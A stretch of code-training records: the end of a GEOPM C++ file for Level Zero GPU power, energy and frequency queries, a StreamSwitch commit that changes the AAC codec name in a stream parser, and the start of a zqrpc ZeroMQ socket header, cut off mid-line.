LevelZeroDevicePoolImp::active_time_pair(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the engine domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n \/\/ TODO: Some devices may not support ZES_ENGINE_GROUP_COMPUTE\/COPY_ALL. In that case this should be a\n \/\/ device level signal that handles aggregation of domains directly here\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.engine_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n\n return m_levelzero.active_time_pair(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n uint64_t LevelZeroDevicePoolImp::active_time_timestamp(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the engine domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n \/\/ TODO: Some devices may not support ZES_ENGINE_GROUP_COMPUTE\/COPY_ALL. In that case this should be a\n \/\/ device level signal that handles aggregation of domains directly here\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.engine_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n\n return m_levelzero.active_time_timestamp(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n uint64_t LevelZeroDevicePoolImp::active_time(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" +std::to_string(domain) +\n \" is not supported for the engine domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n \/\/TODO: Some devices may not support ZES_ENGINE_GROUP_COMPUTE\/COPY_ALL. In that case this should be a\n \/\/ device level signal that handles aggregation of domains directly here\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.engine_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n return m_levelzero.active_time(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second);\n }\n\n int32_t LevelZeroDevicePoolImp::power_limit_min(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.power_limit_min(domain_idx);\n }\n\n int32_t LevelZeroDevicePoolImp::power_limit_max(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.power_limit_max(domain_idx);\n }\n\n int32_t LevelZeroDevicePoolImp::power_limit_tdp(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.power_limit_tdp(domain_idx);\n }\n\n std::pair<uint64_t, uint64_t> LevelZeroDevicePoolImp::energy_pair(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.energy_pair(domain_idx);\n }\n\n uint64_t LevelZeroDevicePoolImp::energy_timestamp(int domain,\n unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.energy_timestamp(domain_idx);\n }\n\n uint64_t LevelZeroDevicePoolImp::energy(int domain, unsigned int domain_idx,\n int l0_domain) const\n {\n if (domain != GEOPM_DOMAIN_GPU) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the power domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n check_idx_range(domain, domain_idx);\n return m_levelzero.energy(domain_idx);\n }\n\n void LevelZeroDevicePoolImp::frequency_control(int domain, unsigned int domain_idx,\n int l0_domain, double range_min,\n double range_max) const\n {\n if (domain != GEOPM_DOMAIN_GPU_CHIP) {\n throw Exception(\"LevelZeroDevicePool::\" + std::string(__func__) +\n \": domain \" + std::to_string(domain) +\n \" is not supported for the frequency domain.\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n std::pair<unsigned int, unsigned int> dev_subdev_idx_pair;\n dev_subdev_idx_pair = subdevice_device_conversion(domain_idx);\n check_domain_exists(m_levelzero.frequency_domain_count(\n dev_subdev_idx_pair.first, l0_domain),\n __func__, __LINE__);\n\n m_levelzero.frequency_control(dev_subdev_idx_pair.first, l0_domain,\n dev_subdev_idx_pair.second, range_min,\n range_max);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * This file is part of libstreamswtich, which belongs to StreamSwitch\n * project. \n * \n * Copyright (C) 2014 OpenSight (www.opensight.cn)\n * \n * StreamSwitch is an extensible and scalable media stream server for \n * multi-protocol environment. \n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published\n * by the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\/\n\/**\n * stsw_stream_parser.cc\n * StreamParser class implementation file, define methods of the StreamParser \n * class. \n * StreamParser is the default parser for a ffmpeg AV stream, other \n * parser can inherit this class to override its methods for a specified \n * codec. All other streams would be associated this default parser\n * \n * author: OpenSight Team\n * date: 2015-10-27\n**\/ \n\n#include \"stsw_stream_parser.h\"\n\n#include <stdint.h>\n\n\n#include \"..\/stsw_ffmpeg_demuxer.h\"\n#include \"..\/stsw_ffmpeg_source_global.h\"\n#include \"stsw_h264or5_parser.h\"\n#include \"stsw_mpeg4_parser.h\"\n\nextern \"C\"{\n\n \n#include <libavcodec\/avcodec.h> \n}\n\nStreamParser::StreamParser()\n:is_init_(false), stream_index_(0), demuxer_(NULL), stream_(NULL), is_live_(true), \ngop_started_(false),\nlast_pts_(AV_NOPTS_VALUE), last_dur_(0)\n{\n last_live_ts_.tv_sec = 0;\n last_live_ts_.tv_usec = 0;\n}\nStreamParser::~StreamParser()\n{\n \n}\nint StreamParser::Init(FFmpegDemuxer *demuxer, int stream_index)\n{ \n int ret = 0;\n if(is_init_){\n return 0;\n }\n demuxer_ = demuxer;\n stream_index_ = stream_index;\n stream_ = demuxer->fmt_ctx_->streams[stream_index];\n is_live_ = \n (demuxer->meta_.play_type == stream_switch::STREAM_PLAY_TYPE_LIVE);\n gop_started_ = false;\n last_pts_ = AV_NOPTS_VALUE;\n last_dur_ = 0;\n \n last_live_ts_.tv_sec = 0;\n last_live_ts_.tv_usec = 0; \n \n is_init_ = true;\n return 0;\n}\nvoid StreamParser::Uninit()\n{\n if(!is_init_){\n return;\n }\n is_init_ = false;\n stream_index_ = 0;\n demuxer_ = NULL;\n stream_ = NULL;\n is_live_ = true;\n gop_started_ = false;\n last_pts_ = AV_NOPTS_VALUE;\n last_dur_ = 0;\n \n last_live_ts_.tv_sec = 0;\n last_live_ts_.tv_usec = 0; \n \n return;\n}\nint StreamParser::Parse(stream_switch::MediaFrameInfo *frame_info, \n AVPacket *pkt, \n bool* is_meta_changed)\n{\n int ret = 0;\n\n if(pkt->flags & AV_PKT_FLAG_CORRUPT){\n \/\/for corrupt packet, juet ignore and drop\n return FFMPEG_SOURCE_ERR_DROP;\n }\n \n ret = DoUpdateFrameInfo(frame_info, pkt);\n if(ret){\n return ret;\n } \n \n ret = DoUpdateMeta(pkt, is_meta_changed);\n if(ret){\n return ret;\n }\n \n if(frame_info->frame_type == stream_switch::MEDIA_FRAME_TYPE_KEY_FRAME){\n gop_started_ = true;\n }\n \n if(!gop_started_){\n return FFMPEG_SOURCE_ERR_DROP;\n }\n \n return 0;\n}\nvoid StreamParser::reset()\n{\n gop_started_ = false;\n return;\n}\n\nbool StreamParser::IsMetaReady()\n{\n return true;\n}\n\n\nint StreamParser::DoUpdateFrameInfo(stream_switch::MediaFrameInfo *frame_info, \n AVPacket *pkt)\n{\n frame_info->ssrc = 0;\n frame_info->sub_stream_index = stream_index_; \n if(pkt->flags & AV_PKT_FLAG_KEY){\n frame_info->frame_type = stream_switch::MEDIA_FRAME_TYPE_KEY_FRAME;\n }else{\n frame_info->frame_type = stream_switch::MEDIA_FRAME_TYPE_DATA_FRAME;\n } \n \/\/calculate timestamp\n if(is_live_){ \n if(last_pts_ == AV_NOPTS_VALUE){\n \/\/this is the first (has pts) packet to parse, use it as base\n last_pts_ = pkt->pts;\n last_dur_ = pkt->duration;\n gettimeofday(&last_live_ts_, NULL);\n frame_info->timestamp = last_live_ts_;\n \n }else{\n if(pkt->pts == AV_NOPTS_VALUE){\n \/\/ no pts for this packet, may be because of B frame situation, \n \/\/ which is not support for live stream, use the last packt time\n frame_info->timestamp = last_live_ts_;\n last_dur_ += pkt->duration;\n \n }else {\n int64_t pts_delta = 0;\n if(pkt->pts < last_pts_ || \n (pkt->pts - last_pts_) * stream_->time_base.num \/ stream_->time_base.den > 60) {\n \/\/this pts lose sync with the last pts, try to guess their delta \n if(last_dur_ > 0){\n \/\/if duration is known, used last duration as delta\n pts_delta = last_dur_;\n }else if (stream_->codec->codec_type == AVMEDIA_TYPE_VIDEO && \n stream_->avg_frame_rate.den && \n stream_->avg_frame_rate.num){\n \/\/make use of average fps to calculate delta\n pts_delta = (stream_->avg_frame_rate.den * stream_->time_base.den) \/\n (stream_->avg_frame_rate.num * stream_->time_base.num);\n }else{\n \/\/no any way to know delta\n pts_delta = 0;\n }\n }else{\n \/\/normal case\n pts_delta = pkt->pts - last_pts_;\n \n }\n \n frame_info->timestamp.tv_sec = \n (pts_delta * stream_->time_base.num) \/ stream_->time_base.den + \n last_live_ts_.tv_sec;\n frame_info->timestamp.tv_usec = \n ((pts_delta * stream_->time_base.num) % stream_->time_base.den) \n * 1000000 \/ stream_->time_base.den + \n last_live_ts_.tv_usec; \n while(frame_info->timestamp.tv_usec >= 1000000){\n frame_info->timestamp.tv_sec ++;\n frame_info->timestamp.tv_usec -= 1000000;\n }\n\n last_pts_ = pkt->pts;\n last_dur_ = pkt->duration;\n last_live_ts_ = frame_info->timestamp;\n \n }\/\/if(pkt->pts == AV_NOPTS_VALUE){ \n \n }\/\/if(pkt->pts == AV_NOPTS_VALUE){\n \n }else{ \/\/ replay\n \n int64_t pts;\n \/\/for non-live mode, use pts directly\n if(pkt->pts == AV_NOPTS_VALUE){\n if(last_pts_ != AV_NOPTS_VALUE){\n pts = last_pts_;\n }else{\n pts = 0;\n } \n }else{\n pts = pkt->pts;\n last_pts_ = pts;\n last_dur_ = pkt->duration;\n }\n \n frame_info->timestamp.tv_sec = \n (pts * stream_->time_base.num) \/ stream_->time_base.den;\n frame_info->timestamp.tv_usec = \n ((pts * stream_->time_base.num) % stream_->time_base.den) \n * 1000000 \/ stream_->time_base.den; \n } \n return 0;\n}\n\n\nint StreamParser::DoUpdateMeta(AVPacket *pkt, bool* is_meta_changed)\n{\n \n \n \n if(is_meta_changed != NULL){\n (*is_meta_changed) = false;\n }\n return 0;\n}\n\n\n\n\n\n\ntemplate<class T>\nStreamParser* StreamParserFatcory()\n{\n\treturn new T;\n}\n\nstruct ParserInfo {\n const int codec_id;\n StreamParser* (*factory)();\n const char name[32];\n};\n\n\/\/FIXME this should be simplified!\nstatic const ParserInfo parser_infos[] = {\n { AV_CODEC_ID_H264, StreamParserFatcory<H264or5Parser>, \"H264\" },\n { AV_CODEC_ID_H265, StreamParserFatcory<H264or5Parser>, \"H265\" }, \n { AV_CODEC_ID_MPEG4, StreamParserFatcory<Mpeg4Parser>, \"MP4V-ES\" },\n { AV_CODEC_ID_AAC, NULL, \"MPEG4-GENERIC\" }, \n { AV_CODEC_ID_AMR_NB, NULL, \"AMR\" },\n { AV_CODEC_ID_PCM_MULAW, NULL, \"PCMU\"},\n { AV_CODEC_ID_PCM_ALAW, NULL, \"PCMA\"},\n { AV_CODEC_ID_NONE, NULL, \"NONE\"}\/\/XXX ...\n};\n\nconst char * CodecNameFromId(int codec_id)\n{\n const ParserInfo *parser_info = parser_infos;\n while (parser_info->codec_id != AV_CODEC_ID_NONE) {\n if (parser_info->codec_id == codec_id){\n if(parser_info->name != NULL){\n return parser_info->name;\n }else{\n return avcodec_get_name((enum AVCodecID)codec_id);\n }\n } \n parser_info++;\n }\n return avcodec_get_name((enum AVCodecID)codec_id);\n}\nStreamParser * NewStreamParser(int codec_id)\n{\n const ParserInfo *parser_info = parser_infos;\n while (parser_info->codec_id != AV_CODEC_ID_NONE) {\n if (parser_info->codec_id == codec_id){\n if(parser_info->factory != NULL){\n return parser_info->factory();\n }else{\n return new StreamParser();\n }\n } \n parser_info++;\n }\n return new StreamParser();\n}\n<commit_msg>change AAC codec name<commit_after>\/**\n * This file is part of libstreamswtich, which belongs to StreamSwitch\n * project. \n * \n * Copyright (C) 2014 OpenSight (www.opensight.cn)\n * \n * StreamSwitch is an extensible and scalable media stream server for \n * multi-protocol environment. \n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published\n * by the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\/\n\/**\n * stsw_stream_parser.cc\n * StreamParser class implementation file, define methods of the StreamParser \n * class. \n * StreamParser is the default parser for a ffmpeg AV stream, other \n * parser can inherit this class to override its methods for a specified \n * codec. All other streams would be associated this default parser\n * \n * author: OpenSight Team\n * date: 2015-10-27\n**\/ \n\n#include \"stsw_stream_parser.h\"\n\n#include <stdint.h>\n\n\n#include \"..\/stsw_ffmpeg_demuxer.h\"\n#include \"..\/stsw_ffmpeg_source_global.h\"\n#include \"stsw_h264or5_parser.h\"\n#include \"stsw_mpeg4_parser.h\"\n\nextern \"C\"{\n\n \n#include <libavcodec\/avcodec.h> \n}\n\nStreamParser::StreamParser()\n:is_init_(false), stream_index_(0), demuxer_(NULL), stream_(NULL), is_live_(true), \ngop_started_(false),\nlast_pts_(AV_NOPTS_VALUE), last_dur_(0)\n{\n last_live_ts_.tv_sec = 0;\n last_live_ts_.tv_usec = 0;\n}\nStreamParser::~StreamParser()\n{\n \n}\nint StreamParser::Init(FFmpegDemuxer *demuxer, int stream_index)\n{ \n int ret = 0;\n if(is_init_){\n return 0;\n }\n demuxer_ = demuxer;\n stream_index_ = stream_index;\n stream_ = demuxer->fmt_ctx_->streams[stream_index];\n is_live_ = \n (demuxer->meta_.play_type == stream_switch::STREAM_PLAY_TYPE_LIVE);\n gop_started_ = false;\n last_pts_ = AV_NOPTS_VALUE;\n last_dur_ = 0;\n \n last_live_ts_.tv_sec = 0;\n last_live_ts_.tv_usec = 0; \n \n is_init_ = true;\n return 0;\n}\nvoid StreamParser::Uninit()\n{\n if(!is_init_){\n return;\n }\n is_init_ = false;\n stream_index_ = 0;\n demuxer_ = NULL;\n stream_ = NULL;\n is_live_ = true;\n gop_started_ = false;\n last_pts_ = AV_NOPTS_VALUE;\n last_dur_ = 0;\n \n last_live_ts_.tv_sec = 0;\n last_live_ts_.tv_usec = 0; \n \n return;\n}\nint StreamParser::Parse(stream_switch::MediaFrameInfo *frame_info, \n AVPacket *pkt, \n bool* is_meta_changed)\n{\n int ret = 0;\n\n if(pkt->flags & AV_PKT_FLAG_CORRUPT){\n \/\/for corrupt packet, juet ignore and drop\n return FFMPEG_SOURCE_ERR_DROP;\n }\n \n ret = DoUpdateFrameInfo(frame_info, pkt);\n if(ret){\n return ret;\n } \n \n ret = DoUpdateMeta(pkt, is_meta_changed);\n if(ret){\n return ret;\n }\n \n if(frame_info->frame_type == stream_switch::MEDIA_FRAME_TYPE_KEY_FRAME){\n gop_started_ = true;\n }\n \n if(!gop_started_){\n return FFMPEG_SOURCE_ERR_DROP;\n }\n \n return 0;\n}\nvoid StreamParser::reset()\n{\n gop_started_ = false;\n return;\n}\n\nbool StreamParser::IsMetaReady()\n{\n return true;\n}\n\n\nint StreamParser::DoUpdateFrameInfo(stream_switch::MediaFrameInfo *frame_info, \n AVPacket *pkt)\n{\n frame_info->ssrc = 0;\n frame_info->sub_stream_index = stream_index_; \n if(pkt->flags & AV_PKT_FLAG_KEY){\n frame_info->frame_type = stream_switch::MEDIA_FRAME_TYPE_KEY_FRAME;\n }else{\n frame_info->frame_type = stream_switch::MEDIA_FRAME_TYPE_DATA_FRAME;\n } \n \/\/calculate timestamp\n if(is_live_){ \n if(last_pts_ == AV_NOPTS_VALUE){\n \/\/this is the first (has pts) packet to parse, use it as base\n last_pts_ = pkt->pts;\n last_dur_ = pkt->duration;\n gettimeofday(&last_live_ts_, NULL);\n frame_info->timestamp = last_live_ts_;\n \n }else{\n if(pkt->pts == AV_NOPTS_VALUE){\n \/\/ no pts for this packet, may be because of B frame situation, \n \/\/ which is not support for live stream, use the last packt time\n frame_info->timestamp = last_live_ts_;\n last_dur_ += pkt->duration;\n \n }else {\n int64_t pts_delta = 0;\n if(pkt->pts < last_pts_ || \n (pkt->pts - last_pts_) * stream_->time_base.num \/ stream_->time_base.den > 60) {\n \/\/this pts lose sync with the last pts, try to guess their delta \n if(last_dur_ > 0){\n \/\/if duration is known, used last duration as delta\n pts_delta = last_dur_;\n }else if (stream_->codec->codec_type == AVMEDIA_TYPE_VIDEO && \n stream_->avg_frame_rate.den && \n stream_->avg_frame_rate.num){\n \/\/make use of average fps to calculate delta\n pts_delta = (stream_->avg_frame_rate.den * stream_->time_base.den) \/\n (stream_->avg_frame_rate.num * stream_->time_base.num);\n }else{\n \/\/no any way to know delta\n pts_delta = 0;\n }\n }else{\n \/\/normal case\n pts_delta = pkt->pts - last_pts_;\n \n }\n \n frame_info->timestamp.tv_sec = \n (pts_delta * stream_->time_base.num) \/ stream_->time_base.den + \n last_live_ts_.tv_sec;\n frame_info->timestamp.tv_usec = \n ((pts_delta * stream_->time_base.num) % stream_->time_base.den) \n * 1000000 \/ stream_->time_base.den + \n last_live_ts_.tv_usec; \n while(frame_info->timestamp.tv_usec >= 1000000){\n frame_info->timestamp.tv_sec ++;\n frame_info->timestamp.tv_usec -= 1000000;\n }\n\n last_pts_ = pkt->pts;\n last_dur_ = pkt->duration;\n last_live_ts_ = frame_info->timestamp;\n \n }\/\/if(pkt->pts == AV_NOPTS_VALUE){ \n \n }\/\/if(pkt->pts == AV_NOPTS_VALUE){\n \n }else{ \/\/ replay\n \n int64_t pts;\n \/\/for non-live mode, use pts directly\n if(pkt->pts == AV_NOPTS_VALUE){\n if(last_pts_ != AV_NOPTS_VALUE){\n pts = last_pts_;\n }else{\n pts = 0;\n } \n }else{\n pts = pkt->pts;\n last_pts_ = pts;\n last_dur_ = pkt->duration;\n }\n \n frame_info->timestamp.tv_sec = \n (pts * stream_->time_base.num) \/ stream_->time_base.den;\n frame_info->timestamp.tv_usec = \n ((pts * stream_->time_base.num) % stream_->time_base.den) \n * 1000000 \/ stream_->time_base.den; \n } \n return 0;\n}\n\n\nint StreamParser::DoUpdateMeta(AVPacket *pkt, bool* is_meta_changed)\n{\n \n \n \n if(is_meta_changed != NULL){\n (*is_meta_changed) = false;\n }\n return 0;\n}\n\n\n\n\n\n\ntemplate<class T>\nStreamParser* StreamParserFatcory()\n{\n\treturn new T;\n}\n\nstruct ParserInfo {\n const int codec_id;\n StreamParser* (*factory)();\n const char name[32];\n};\n\n\/\/FIXME this should be simplified!\nstatic const ParserInfo parser_infos[] = {\n { AV_CODEC_ID_H264, StreamParserFatcory<H264or5Parser>, \"H264\" },\n { AV_CODEC_ID_H265, StreamParserFatcory<H264or5Parser>, \"H265\" }, \n { AV_CODEC_ID_MPEG4, StreamParserFatcory<Mpeg4Parser>, \"MP4V-ES\" },\n { AV_CODEC_ID_AAC, NULL, \"AAC\" }, \n { AV_CODEC_ID_AMR_NB, NULL, \"AMR\" },\n { AV_CODEC_ID_PCM_MULAW, NULL, \"PCMU\"},\n { AV_CODEC_ID_PCM_ALAW, NULL, \"PCMA\"},\n { AV_CODEC_ID_NONE, NULL, \"NONE\"}\/\/XXX ...\n};\n\nconst char * CodecNameFromId(int codec_id)\n{\n const ParserInfo *parser_info = parser_infos;\n while (parser_info->codec_id != AV_CODEC_ID_NONE) {\n if (parser_info->codec_id == codec_id){\n if(parser_info->name != NULL){\n return parser_info->name;\n }else{\n return avcodec_get_name((enum AVCodecID)codec_id);\n }\n } \n parser_info++;\n }\n return avcodec_get_name((enum AVCodecID)codec_id);\n}\nStreamParser * NewStreamParser(int codec_id)\n{\n const ParserInfo *parser_info = parser_infos;\n while (parser_info->codec_id != AV_CODEC_ID_NONE) {\n if (parser_info->codec_id == codec_id){\n if(parser_info->factory != NULL){\n return parser_info->factory();\n }else{\n return new StreamParser();\n }\n } \n parser_info++;\n }\n return new StreamParser();\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @project zqrpc\n * @file include\/zqrpc\/ZSocket.hpp\n * @author S Roychowdhury <sroycode @ gmail DOT com>\n * @version 0.1\n *\n * @section LICENSE\n *\n * Copyright (c) 2014 S Roychowdhury\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n * the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n * @section DESCRIPTION\n *\n * ZSocket.hpp : Send and Recv\n *\n *\/\n#ifndef _ZQRPC_ZSOCKET_HPP_\n#define _ZQRPC_ZSOCKET_HPP_\n\n#include <stdint.h>\n#include <cstring>\n#include <boost\/thread.hpp>\n#include \"zmq.hpp\"\n#include \"ZError.hpp\"\n#include \"RpcHeaders.hh\"\n\nnamespace zqrpc {\nclass ZSocket {\n\nfriend class RpcServer;\n\npublic:\n\tZSocket(zmq::context_t* context, int type, const std::string& id)\n\t\t: socket_(*context,type)\n\t{\n\t\tif (id.length()>0)\n\t\t\tsocket_.setsockopt(ZMQ_IDENTITY, id.c_str(), id.length());\n\t}\n\n\t~ZSocket() {\n\t}\n\n\tvoid connect(const char* url) {\n\t\tsocket_.connect(url);\n\t}\n\n\tvoid disconnect(const char* url) {\n\t\tif ( socket_.connected() ) socket_.disconnect(url);\n\t}\n\n\tvoid bind(const char* url) {\n\t\tsocket_.bind(url);\n\t}\n\tvoid unbind(const char* url) {\n\t\tif (strncmp(url,\"inproc\",6)!=0) socket_.unbind(url);\n\t}\n\n\tvoid close() {\n\t\tsocket_.close();\n\t}\n\n\tvoid SetOption(int type,std::string opt) {\n\t\tsocket_.setsockopt(type, opt.c_str(), opt.length());\n\t}\n\n\tvoid SetLinger(int linger = -1) {\n\t\tsocket_.setsockopt(ZMQ_LINGER, &linger, sizeof(int));\n\t}\n\n\ttemplate<typename T>\n\tbool Send(const T& frames) {\n\t\tstd::size_t fleft= frames.size();\n\t\tif(!fleft) return true;\n\t\tfor (typename T::const_iterator it = frames.begin(); it!=frames.end(); ++it,--fleft) {\n\t\t\tzmq::message_t msg (it->length());\n \tmemcpy ((void *) msg.data (), it->c_str(), it->length());\n\t\t\t\/\/ DLOG(INFO) << std::string(static_cast<char*>(msg.data()), msg.size()) << std::endl;\n\t\t\tif (! socket_.send(msg, (fleft==1) ? 0 : ZMQ_SNDMORE) )\n\t\t\t\tthrow ZError(ZEC_CONNECTIONERROR,\"cannot send data frame\");\n\t\t}\n\t\treturn true;\n\t}\n\n\ttemplate<typename T>\n\tT BlockingRecv() {\n\t\tT frames;\n\t\tbool more=false;\n\t\tdo {\n\t\t\tzmq::message_t msg(0);\n\t\t\tif (!socket_.recv(&msg, 0)) throw zqrpc::RetryException();\n\t\t\tframes.push_back(std::string(static_cast<char*>(msg.data()), msg.size()));\n\t\t\t\/\/ DLOG(INFO) << std::string(static_cast<char*>(msg.data()), msg.size()) << std::endl;\n\t\t\tmore = msg.more();\n\t\t} while(more);\n\n\t\treturn frames;\n\t}\n\n\ttemplate<typename T>\n\tT NonBlockingRecv() {\n\t\tT frames;\n\t\tzmq::message_t msg(0);\n\t\tbool more=false;\n\t\tdo {\n\t\t\tif (!socket_.recv(&msg, ZMQ_DONTWAIT)) throw zqrpc::RetryException();\n\t\t\tframes.push_back(std::string(static_cast<char*>(msg.data()), msg.size()));\n\t\t\tmore = msg.more();\n\t\t} while(more);\n\n\t\treturn frames;\n\t}\n\n\tbool Poll(long timeout) {\n\t\tzmq::pollitem_t items[] = { { socket_, 0, ZMQ_POLLIN, 0 } };\n\t\tzmq::poll (&items[0], 1, timeout);\n\t\treturn (items[0].revents & ZMQ_POLLIN);\n\t\t\/\/ DLOG(INFO) << \"Polling End\" << std::endl;\n\t}\n\t\nprivate:\n\tzmq::socket_t socket_;\n\n\tZSocket(const ZSocket&);\n\tvoid operator=(const ZSocket&);\n\n};\n} \/\/ namespace\n\n#endif\n<commit_msg>Wed Aug 13 10:06:16 IST 2014<commit_after>\/**\n * @project zqrpc\n * @file include\/zqrpc\/ZSocket.hpp\n * @author S Roychowdhury <sroycode @ gmail DOT com>\n * @version 0.1\n *\n * @section LICENSE\n *\n * Copyright (c) 2014 S Roychowdhury\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n * the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n * @section DESCRIPTION\n *\n * ZSocket.hpp : Send and Recv\n *\n *\/\n#ifndef _ZQRPC_ZSOCKET_HPP_\n#define _ZQRPC_ZSOCKET_HPP_\n\n#include <stdint.h>\n#include <cstring>\n#include <boost\/thread.hpp>\n#include \"zmq.hpp\"\n#include \"ZError.hpp\"\n#include \"RpcHeaders.hh\"\n\nnamespace zqrpc {\nclass ZSocket {\n\nfriend class RpcServer;\n\npublic:\n\tZSocket(zmq::context_t* context, int type, const std::string& id)\n\t\t: socket_(*context,type)\n\t{\n\t\tif (id.length()>0)\n\t\t\tsocket_.setsockopt(ZMQ_IDENTITY, id.c_str(), id.length());\n\t}\n\n\t~ZSocket() {\n\t}\n\n\tvoid connect(const char* 